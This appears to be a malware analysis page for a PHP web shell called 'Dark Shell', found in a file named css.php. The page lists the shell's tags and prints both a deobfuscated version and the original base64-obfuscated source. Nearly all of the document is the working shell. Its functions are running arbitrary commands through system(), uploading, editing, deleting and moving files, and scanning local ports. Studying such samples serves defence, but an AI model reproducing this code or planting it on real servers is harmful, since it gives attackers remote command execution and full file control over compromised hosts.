PHP Malware Analysis

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Filename: css.php

Tags

Execution
  • system
Input
  • _GET
  • _POST
  • _FILES
Environment
  • set_time_limit
  • error_reporting
  • getcwd
Files
  • copy
  • move_uploaded_file

Deobfuscated code

<html>
<head>
<title>
Dark Shell
</title>
</head>
<body>
<style type="text/css">
body{
background: #E4E4E4;
color: #666666;
font-family: Verdana;
font-size: 11px;
}
a:link{
color: #33CC99;
}
a:visited{
color: #33CC99;
}
a:hover{
text-decoration: none;
Color: #3399FF;
}
table {
font-size: 11px;
}
</style>
<?php 
eval /* PHPDeobfuscator eval output */ {
    error_reporting(0);
    set_time_limit(0);
    if (empty($_GET['dir'])) {
        $dir = getcwd();
    } else {
        $dir = $_GET['dir'];
    }
    chdir($dir);
    $current = htmlentities($_SERVER['PHP_SELF'] . "?dir=" . $dir);
    echo "<center><h1>Dark Shell</h1></center><p><hr><p>\n";
    echo "<i>Server: " . $_SERVER['SERVER_NAME'] . "<br>\n";
    echo "Current directory: " . getcwd() . "<br>\n";
    echo "Software: " . $_SERVER['SERVER_SOFTWARE'] . "<pre>\n\n</pre></i>\n";
    echo "<pre>\n\n\n</pre>";
    echo "<table width = 50%>";
    echo "<tr>";
    echo "<td><a href = '" . $current . "&mode=system'>Shell Command</a></td>\n";
    echo "<td><a href = '" . $current . "&mode=create'>Create a new file</a></td>\n";
    echo "<td><a href = '" . $current . "&mode=upload'>Upload file</a></td>\n";
    echo "<td><a href = '" . $current . "&mode=port_scan'>Port Scan</a></td>\n";
    echo "</tr></table>";
    echo "<pre>\n\n</pre>";
    $mode = $_GET['mode'];
    switch ($mode) {
        case 'edit':
            $file = $_GET['file'];
            $new = $_POST['new'];
            if (empty($new)) {
                $fp = fopen($file, "r");
                $file_cont = fread($fp, filesize($file));
                $file_cont = str_replace("</textarea>", "<textarea>", $file_cont);
                echo "<form action = '" . $current . "&mode=edit&file=" . $file . "' method = 'POST'>\n";
                echo "File: " . $file . "<br>\n";
                echo "<textarea name = 'new' rows = '30' cols = '50'>" . $file_cont . "</textarea><br>\n";
                echo "<input type = 'submit' value = 'Edit'></form>\n";
            } else {
                $fp = fopen($file, "w");
                if (fwrite($fp, $new)) {
                    echo $file . " edited.<p>";
                } else {
                    echo "Unable to edit " . $file . ".<p>";
                }
            }
            fclose($fp);
            break;
        case 'delete':
            $file = $_GET['file'];
            if (unlink($file)) {
                echo $file . " deleted successfully.<p>";
            } else {
                echo "Unable to delete " . $file . ".<p>";
            }
            break;
        case 'copy':
            $src = $_GET['src'];
            $dst = $_POST['dst'];
            if (empty($dst)) {
                echo "<form action = '" . $current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";
                echo "Destination: <input name = 'dst'><br>\n";
                echo "<input type = 'submit' value = 'Copy'></form>\n";
            } else {
                if (copy($src, $dst)) {
                    echo "File copied successfully.<p>\n";
                } else {
                    echo "Unable to copy " . $src . ".<p>\n";
                }
            }
            break;
        case 'move':
            $src = $_GET['src'];
            $dst = $_POST['dst'];
            if (empty($dst)) {
                echo "<form action = '" . $current . "&mode=move&src=" . $src . "' method = 'POST'>\n";
                echo "Destination: <input name = 'dst'><br>\n";
                echo "<input type = 'submit' value = 'Move'></form>\n";
            } else {
                if (rename($src, $dst)) {
                    echo "File moved successfully.<p>\n";
                } else {
                    echo "Unable to move " . $src . ".<p>\n";
                }
            }
            break;
        case 'rename':
            $old = $_GET['old'];
            $new = $_POST['new'];
            if (empty($new)) {
                echo "<form action = '" . $current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
                echo "New name: <input name = 'new'><br>\n";
                echo "<input type = 'submit' value = 'Rename'></form>\n";
            } else {
                if (rename($old, $new)) {
                    echo "File/Directory renamed successfully.<p>\n";
                } else {
                    echo "Unable to rename " . $old . ".<p>\n";
                }
            }
            break;
        case 'rmdir':
            $rm = $_GET['rm'];
            if (rmdir($rm)) {
                echo "Directory removed successfully.<p>\n";
            } else {
                echo "Unable to remove " . $rm . ".<p>\n";
            }
            break;
        case 'system':
            $cmd = $_POST['cmd'];
            if (empty($cmd)) {
                echo "<form action = '" . $current . "&mode=system' method = 'POST'>\n";
                echo "Shell Command: <input name = 'cmd'>\n";
                echo "<input type = 'submit' value = 'Run'></form><p>\n";
            } else {
                system($cmd);
            }
            break;
        case 'create':
            $new = $_POST['new'];
            if (empty($new)) {
                echo "<form action = '" . $current . "&mode=create' method = 'POST'>\n";
                echo "<tr><td>New file: <input name = 'new'></td>\n";
                echo "<td><input type = 'submit' value = 'Create'></td></tr></form>\n<p>";
            } else {
                if ($fp = fopen($new, "w")) {
                    echo "File created successfully.<p>\n";
                } else {
                    echo "Unable to create " . $file . ".<p>\n";
                }
                fclose($fp);
            }
            break;
        case 'upload':
            $temp = $_FILES['upload_file']['tmp_name'];
            $file = basename($_FILES['upload_file']['name']);
            if (empty($file)) {
                echo "<form action = '" . $current . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>\n";
                echo "Local file: <input type = 'file' name = 'upload_file'>\n";
                echo "<input type = 'submit' value = 'Upload'>\n";
                echo "</form>\n<pre>\n\n</pre>";
            } else {
                if (move_uploaded_file($temp, $file)) {
                    echo "File uploaded successfully.<p>\n";
                    unlink($temp);
                } else {
                    echo "Unable to upload " . $file . ".<p>\n";
                }
            }
            break;
        case 'port_scan':
            $port_range = $_POST['port_range'];
            if (empty($port_range)) {
                echo "<table><form action = '" . $current . "&mode=port_scan' method = 'POST'>";
                echo "<tr><td><input type = 'text' name = 'port_range'></td><td>";
                echo "Enter port range where you want to do port scan (ex.: 0:65535)</td></tr>";
                echo "<tr><td><input type = 'submit' value = 'Port Scan'></td></tr></form></table>";
            } else {
                $range = explode(":", $port_range);
                if (!is_numeric($range[0]) or !is_numeric($range[1])) {
                    echo "Bad parameters.<br>";
                } else {
                    $host = 'localhost';
                    $from = $range[0];
                    $to = $range[1];
                    echo "Open ports:<br>";
                    while ($from <= $to) {
                        $var = 0;
                        $fp = fsockopen($host, $from) or $var = 1;
                        if (false) {
                            echo $from . "<br>";
                        }
                        $from++;
                        fclose($fp);
                    }
                }
            }
            break;
    }
    clearstatcache();
    echo "<pre>\n\n</pre>";
    echo "<table width = 100%>\n";
    $files = scandir($dir);
    foreach ($files as $file) {
        if (is_file($file)) {
            $size = round(filesize($file) / 1024, 2);
            echo "<tr><td>" . $file . "</td>";
            echo "<td>" . $size . " KB</td>";
            echo "<td><a href = " . $current . "&mode=edit&file=" . $file . ">Edit</a></td>\n";
            echo "<td><a href = " . $current . "&mode=delete&file=" . $file . ">Delete</a></td>\n";
            echo "<td><a href = " . $current . "&mode=copy&src=" . $file . ">Copy</a></td>\n";
            echo "<td><a href = " . $current . "&mode=move&src=" . $file . ">Move</a></td>\n";
            echo "<td><a href = " . $current . "&mode=rename&old=" . $file . ">Remame</a></td></tr>\n";
        } else {
            $items = scandir($file);
            $items_num = count($items) - 2;
            echo "<tr><td>" . $file . "</td>";
            echo "<td>" . $items_num . " Items</td>";
            echo "<td><a href = " . $current . "/" . $file . ">Change directory</a></td>\n";
            echo "<td><a href = " . $current . "&mode=rmdir&rm=" . $file . ">Remove directory</a></td>\n";
            echo "<td><a href = " . $current . "&mode=rename&old=" . $file . ">Rename directory</a></td></tr>\n";
        }
    }
    echo "</table>\n";
};


Original code

<html>
<head>
<title>
Dark Shell
</title>
</head>
<body>
<style type="text/css">
body{
background: #E4E4E4;
color: #666666;
font-family: Verdana;
font-size: 11px;
}
a:link{
color: #33CC99;
}
a:visited{
color: #33CC99;
}
a:hover{
text-decoration: none;
Color: #3399FF;
}
table {
font-size: 11px;
}
</style>
<?php
eval(base64_decode('
error_reporting (0);
set_time_limit (0);
if (empty ($_GET ['dir'])){
$dir = getcwd ();
}
else {
$dir = $_GET ['dir'];
}
chdir ($dir);
$current = htmlentities ($_SERVER ['PHP_SELF'] . "?dir=" . $dir);

echo "<center><h1>Dark Shell</h1></center><p><hr><p>\n";
echo "<i>Server: " . $_SERVER ['SERVER_NAME'] . "<br>\n";
echo "Current directory: " . getcwd () . "<br>\n";
echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "<pre>\n\n</pre></i>\n";
echo "<pre>\n\n\n</pre>";

echo "<table width = 50%>";
echo "<tr>";
echo "<td><a href = '".$current."&mode=system'>Shell Command</a></td>\n";
echo "<td><a href = '".$current."&mode=create'>Create a new file</a></td>\n";
echo "<td><a href = '".$current."&mode=upload'>Upload file</a></td>\n";
echo "<td><a href = '".$current."&mode=port_scan'>Port Scan</a></td>\n";
echo "</tr></table>";
echo "<pre>\n\n</pre>";



$mode = $_GET ['mode'];
switch ($mode){
case 'edit':
$file = $_GET ['file'];
$new = $_POST ['new'];
if (empty ($new)){
$fp = fopen ($file, "r");
$file_cont = fread ($fp, filesize ($file));
$file_cont = str_replace ("</textarea>", "<textarea>", $file_cont);
echo "<form action = '".$current."&mode=edit&file=".$file."' method = 'POST'>\n";
echo "File: ". $file . "<br>\n";
echo "<textarea name = 'new' rows = '30' cols = '50'>".$file_cont."</textarea><br>\n";
echo "<input type = 'submit' value = 'Edit'></form>\n";
}
else {
$fp = fopen ($file, "w");
if (fwrite ($fp, $new)){
echo $file . " edited.<p>";
}
else {
echo "Unable to edit " . $file . ".<p>";
}
}
fclose ($fp);
break;
case 'delete':
$file = $_GET ['file'];
if (unlink ($file)){
echo $file . " deleted successfully.<p>";
}
else {
echo "Unable to delete " . $file . ".<p>";
}
break;
case 'copy':
$src = $_GET ['src'];
$dst = $_POST ['dst'];
if (empty ($dst)){
echo "<form action = '".$current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";
echo "Destination: <input name = 'dst'><br>\n";
echo "<input type = 'submit' value = 'Copy'></form>\n";
}
else {
if (copy ($src, $dst)){
echo "File copied successfully.<p>\n";
}
else {
echo "Unable to copy " . $src . ".<p>\n";
}
}
break;
case 'move':
$src = $_GET ['src'];
$dst = $_POST ['dst'];
if (empty ($dst)){
echo "<form action = '".$current . "&mode=move&src=" . $src . "' method = 'POST'>\n";
echo "Destination: <input name = 'dst'><br>\n";
echo "<input type = 'submit' value = 'Move'></form>\n";
}
else {
if (rename ($src, $dst)){
echo "File moved successfully.<p>\n";
}
else {
echo "Unable to move " . $src . ".<p>\n";
}
}
break;
case 'rename':
$old = $_GET ['old'];
$new = $_POST ['new'];
if (empty ($new)){
echo "<form action = '".$current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
echo "New name: <input name = 'new'><br>\n";
echo "<input type = 'submit' value = 'Rename'></form>\n";
}
else {
if (rename ($old, $new)){
echo "File/Directory renamed successfully.<p>\n";
}
else {
echo "Unable to rename " . $old . ".<p>\n";
}
}
break;

case 'rmdir':
$rm = $_GET ['rm'];
if (rmdir ($rm)){
echo "Directory removed successfully.<p>\n";
}
else {
echo "Unable to remove " . $rm . ".<p>\n";
}
break;
case 'system':
$cmd = $_POST ['cmd'];
if (empty ($cmd)){
echo "<form action = '".$current . "&mode=system' method = 'POST'>\n";
echo "Shell Command: <input name = 'cmd'>\n";
echo "<input type = 'submit' value = 'Run'></form><p>\n";
}
else {
system ($cmd);
}
break;
case 'create':
$new = $_POST ['new'];
if (empty ($new)){
echo "<form action = '".$current . "&mode=create' method = 'POST'>\n";
echo "<tr><td>New file: <input name = 'new'></td>\n";
echo "<td><input type = 'submit' value = 'Create'></td></tr></form>\n<p>";
}
else {
if ($fp = fopen ($new, "w")){
echo "File created successfully.<p>\n";
}
else {
echo "Unable to create ".$file.".<p>\n";
}
fclose ($fp);
}
break;
case 'upload':
$temp = $_FILES['upload_file']['tmp_name'];
$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo "<form action = '".$current . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>\n";
echo "Local file: <input type = 'file' name = 'upload_file'>\n";
echo "<input type = 'submit' value = 'Upload'>\n";
echo "</form>\n<pre>\n\n</pre>";
}
else {
if(move_uploaded_file($temp,$file)){
echo "File uploaded successfully.<p>\n";
unlink ($temp);
}
else {
echo "Unable to upload " . $file . ".<p>\n";
}
}
break;

case 'port_scan':
$port_range = $_POST ['port_range'];
if (empty ($port_range)){
echo "<table><form action = '".$current. "&mode=port_scan' method = 'POST'>";
echo "<tr><td><input type = 'text' name = 'port_range'></td><td>";
echo "Enter port range where you want to do port scan (ex.: 0:65535)</td></tr>";
echo "<tr><td><input type = 'submit' value = 'Port Scan'></td></tr></form></table>";
}
else {
$range = explode (":", $port_range);
if ((!is_numeric ($range [0])) or (!is_numeric ($range [1]))){
echo "Bad parameters.<br>";
}
else {
$host = 'localhost';
$from = $range [0];
$to = $range [1];
echo "Open ports:<br>";
while ($from <= $to){
$var = 0;
$fp = fsockopen ($host, $from) or $var = 1;
if ($var == 0){
echo $from . "<br>";
}
$from++;
fclose ($fp);
}
}
}
break;


}

clearstatcache ();

echo "<pre>\n\n</pre>";
echo "<table width = 100%>\n";
$files = scandir ($dir);
foreach ($files as $file){
if (is_file ($file)){

$size = round (filesize ($file) / 1024, 2);
echo "<tr><td>".$file."</td>";
echo "<td>".$size." KB</td>";
echo "<td><a href = ".$current . "&mode=edit&file=".$file.">Edit</a></td>\n";
echo "<td><a href = ".$current . "&mode=delete&file=".$file.">Delete</a></td>\n";
echo "<td><a href = ".$current . "&mode=copy&src=".$file.">Copy</a></td>\n";
echo "<td><a href = ".$current . "&mode=move&src=".$file.">Move</a></td>\n";
echo "<td><a href = ".$current . "&mode=rename&old=".$file.">Remame</a></td></tr>\n";
}
else {
$items = scandir ($file);
$items_num = count ($items) - 2;
echo "<tr><td>".$file."</td>";
echo "<td>".$items_num." Items</td>";
echo "<td><a href = ".$current . "/" . $file.">Change directory</a></td>\n";
echo "<td><a href = ".$current . "&mode=rmdir&rm=".$file.">Remove directory</a></td>\n";
echo "<td><a href = ".$current . "&mode=rename&old=".$file.">Rename directory</a></td></tr>\n";
}
}
echo "</table>\n";
'));
?>